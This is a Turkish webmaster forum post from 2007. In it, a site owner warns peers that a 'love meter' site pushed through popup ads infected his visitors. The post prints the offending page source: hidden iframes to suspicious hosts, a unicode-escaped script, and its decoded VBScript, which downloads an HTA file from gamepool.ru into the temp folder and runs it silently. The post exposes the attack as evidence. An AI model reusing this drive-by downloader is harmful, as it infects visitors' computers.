Tekil Mesaj gösterimi - İzleturkey sitesi ve seref yoksunu Mirraacle

Konu İzleturkey sitesi ve seref yoksunu Mirraacle

27-12-2007, 15:48:27

Merhaba arkadaslar,

Askmetre. Sevgiliniz sizi ne kadar seviyor ? sitesi sahibi mirraacle nicki ile burda cirit atan şeref yoksunu arkadaş sayfasında aşağıda verdiğim decode edilmiş kodda rahatça görebileceğiniz gibi hta ile sayfa kıtlıyor.

<!--
body {
	background-color: #F9B4C7;
}
-->
<title>Askmetre. Sevgiliniz sizi ne kadar seviyor ?</title>
<center>
<script src="http://banner.ringofon.com/bannerjs.php?A=54721&B=k4e95v4654c9bbv2648qe5d2913f6h3s"></script><br><br>
<a href="http://www.ringofon.com/melodi/melodim.php?affiliateID=54721&z=2" target="_blank">
<img src="http://www.radyodinle.gen.tr/mp3indir.gif" border="0" width="728" height="90" /></a><br><br>
<iframe src="http://xbpfkkesju.cn/dl/adv456.php" width=1 height=1></iframe>
<iframe name="iFrame2" width="2" height="2" src="http://superadultsex.net/cgi-bin/in.cgi?p=user7" scrolling="no" frameborder="0"></iframe>
<a href="http://www.ringofon.com/oyun_ssl/index.php?oyun=1&affiliateID=54721" target="_blank">
<img src="http://www.radyodinle.gen.tr/kumanda.gif" border="0" width="728" height="90" /></a><br><br>
</center>
<script type="text/javascript">document.write('\u003c\u0068\u0074\u006d\u006c\u003e\u000d\u000a\u003c\u0068\u0065\u0061\u0064\u003e\u000d\u000a\u003c\u002f\u0068\u0065\u0061\u0064\u003e\u000d\u000a\u003c\u0062\u006f\u0064\u0079\u003e\u000d\u000a\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u006c\u0061\u006e\u0067\u0075\u0061\u0067\u0065\u003d\u0022\u0056\u0042\u0053\u0063\u0072\u0069\u0070\u0074\u0022\u003e\u000d\u000a\u006f\u006e\u0020\u0065\u0072\u0072\u006f\u0072\u0020\u0072\u0065\u0073\u0075\u006d\u0065\u0020\u006e\u0065\u0078\u0074\u000d\u000a\u0064\u006c\u0020\u003d\u0020\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0077\u0077\u0077\u002e\u0067\u0061\u006d\u0065\u0070\u006f\u006f\u006c\u002e\u0072\u0075\u002f\u0070\u0068\u0070\u002e\u0068\u0074\u0061\u0022\u000d\u000a\u0053\u0065\u0074\u0020\u0064\u0066\u0020\u003d\u0020\u0064\u006f\u0063\u0075\u006d\\u002d\u0036\u0035\u0041\u0033\u002d\u0031\u0031\u0044\u0030\u002d\u0039\u0038\u0033\u0041\u002d\u0030\u0030\u0043\u0030\u0034\u0046\u0043\u0032\u0039\u0045\u0033\u0036\u0022\u000d\u000a\u0073\u0074\u0072\u003d\u0022\u004d\u0069\u0063\u0072\u006f\u0073\u006f\u0066\u0074\u002e\u0058\u004d\u004c\u0048\u0054\u0054\u0050\u0022\u000d\u000a\u0053\u0065\u0074\u0020\u0078\u0020\u003d\u0020\u0064\u0066\u002e\u0043\u0072\u0065\u0061\u0074\u0065\u004f\u0062\u006a\u0065\u0063\u0074\u0028\u0073\u0074\u0072\u002c\u0022\u0022\u0029\u000d\u000a\u0061\u0031\u003d\u0022\u0041\u0064\u006f\u0022\u000d\u000a\u0061\u0032\u003d\u0022\u0064\u0062\u002e\u0022\u000d\u000a\u0061\u0033\u003d\u0022\u0053\u0074\u0072\u0022\u000d\u000a\u0061\u0034\u003d\u0022\u0065\u0061\u006d\u0022\u000d\u000a\u0073\u0074\u0072\u0031\u003d\u0061\u0031\u0026\u0061\u0032\u0026\u0061\u0033\u0026\u0061\u0034\u000d\u000a\u0073\\u002c\u0020\u0046\u0061\u006c\u0073\u0065\u000d\u000a\u0078\u002e\u0053\u0065\u006e\u0064\u000d\u000a\u0066\u006e\u0061\u006d\u0065\u0031\u003d\u0022\u0070\u0068\u0070\u002e\u0068\u0074\u0061\u0022\u000d\u000a\u0073\u0065\u0074\u0020\u0046\u0020\u003d\u0020\u0064\u0066\u002e\u0063\u0072\u0065\u0061\u0074\u0065\u006f\u0062\u006a\u0065\u0063\u0074\u0028\u0022\u0053\u0063\u0072\u0069\u0070\u0074\u0069\u006e\u0067\u002e\u0046\u0069\u006c\u0065\u0053\u0079\u0073\u0074\u0065\u006d\u004f\u0062\u006a\u0065\u0063\u0074\u0022\u002c\u0022\u0022\u0029\u000d\u000a\u0073\u0065\u0074\u0020\u0074\u006d\u0070\u0020\u003d\u0020\u0046\u002e\u0047\u0065\u0074\u0053\u0070\u0065\u0063\u0069\u0061\u006c\u0046\u006f\u006c\u0064\u0065\u0072\u0028\u0032\u0029\u000d\u000a\u0066\u006e\u0061\u006d\u0065\u0031\u003d\u0020\u0046\u002e\u0042\u0075\u0069\u006c\u0064\u0050\u0061\u0074\u0068\u0028\u0074\u006d\u0070\u002c\u0066\u006e\u0061\u006d\u0065\u0031\u0029\u000d\u000a\u0053\u002e\u006f\u0070\u0065\u006e\u000d\u000a\u0053\u002e\u0077\u0072\u0069\u0074\u0065\u0020\u0078\u002e\u0072\u0065\u0073\u0070\u000d\u000a\u003c\u002f\u0062\u006f\u0064\u0079\u003e\u000d\u000a\u003c\u002f\u0062\u006f\u0064\u0079\u003e\u000d\u000a\u003c\u002f\u0068\u0074\u006d\u006c\u003e')</script>

Sayfanın decode hali

<html>
<head>
</head>
<body>
<script language="VBScript">
on error resume next
dl = "http://www.gamepool.ru/php.hta"
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, dl, False
x.Send
fname1="php.hta"
set F = df.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0
</script>
</body>
</body>
</html>

Bu arkadaştan benim başım yandı popup reklam vermıstı bugun sabah bu işi yapmış ve yaklasık 10 bin kullanıcıma hta ile sayfa kitledi. Gerçi görüp göreceği budur kendisine pmlede söledim bundan sonra böle bir sitenin yayınına sağ olduğum sürece izin vermiycem

Sizlerinde dikkatli olmanız için yazmak istedim bildiğim bu arkadastan popup reklam alan birçok kullanıcı bulunmakta r10 da bu ve bunun gibi arkadasların wm forumlarında barınmasını tasvıp etmıyorum ve yetkılılerden geregının yapılmasını rica ediyorum.

hta ile sayfa kitleten site : Askmetre. Sevgiliniz sizi ne kadar seviyor ?
Kıtlenen sayfa : gamepool.ru
Kitlenen sayfadaki decode edilmiş kaynak kodları:

<html>
<head>
</head>
<body>
<script language="VBScript">
on error resume next
dl = "http://www.gamepool.ru/php.hta"
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, dl, False
x.Send
fname1="php.hta"
set F = df.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0
</script>
<iframe src="http://xbpfkkesju.cn/dl/adv456.php" width=1 height=1></iframe>
<iframe name="iFrame2" width="1" height="1" src="http://superadultsex.net/cgi-bin/in.cgi?p=user7" scrolling="no" frameborder="0"></iframe>
<div id="eXTReMe"><a href="http://extremetracking.com/open?login=gmpool">
<img src="http://t1.extreme-dm.com/i.gif" style="border: 0;"
height="38" width="41" id="EXim" alt="eXTReMe Tracker" /></a>
<script type="text/javascript"><!--
var EXlogin='gmpool' // Login
var EXvsrv='s11' // VServer
EXs=screen;EXw=EXs.width;navigator.appName!="Netscape"?
EXb=EXs.colorDepth:EXb=EXs.pixelDepth;
navigator.javaEnabled()==1?EXjv="y":EXjv="n";
EXd=document;EXw?"":EXw="na";EXb?"":EXb="na";
EXd.write("<img src=http://e2.extreme-dm.com",
"/"+EXvsrv+".g?login="+EXlogin+"&amp;",
"jv="+EXjv+"&amp;j=y&amp;srw="+EXw+"&amp;srb="+EXb+"&amp;",
"l="+escape(EXd.referrer)+" height=1 width=1>");//-->
</script><noscript><div id="neXTReMe"><img height="1" width="1" alt=""
src="http://e2.extreme-dm.com/s11.g?login=gmpool&amp;j=n&amp;jv=n" />
</div></noscript></div>
<iframe name="iFrame2" width="100%" height="5000" src="http://www.google.com" scrolling="no" frameborder="0"></iframe>
</body>
</body>
</html>

Site açılmıyor suan hayatta ilk defa kolay kolay yapmadıgım birşeyi yapıp açıkca sölüyorum ben bu siteyi açtırmıycam. Yönetici arkadaslar eğer kanıt gerekıyor soledıklerınızı teyıt etmemız ıcın derse sıtesını acarım arkadasın gırıp kendılerı kontrol edebılırler.

Saygılar.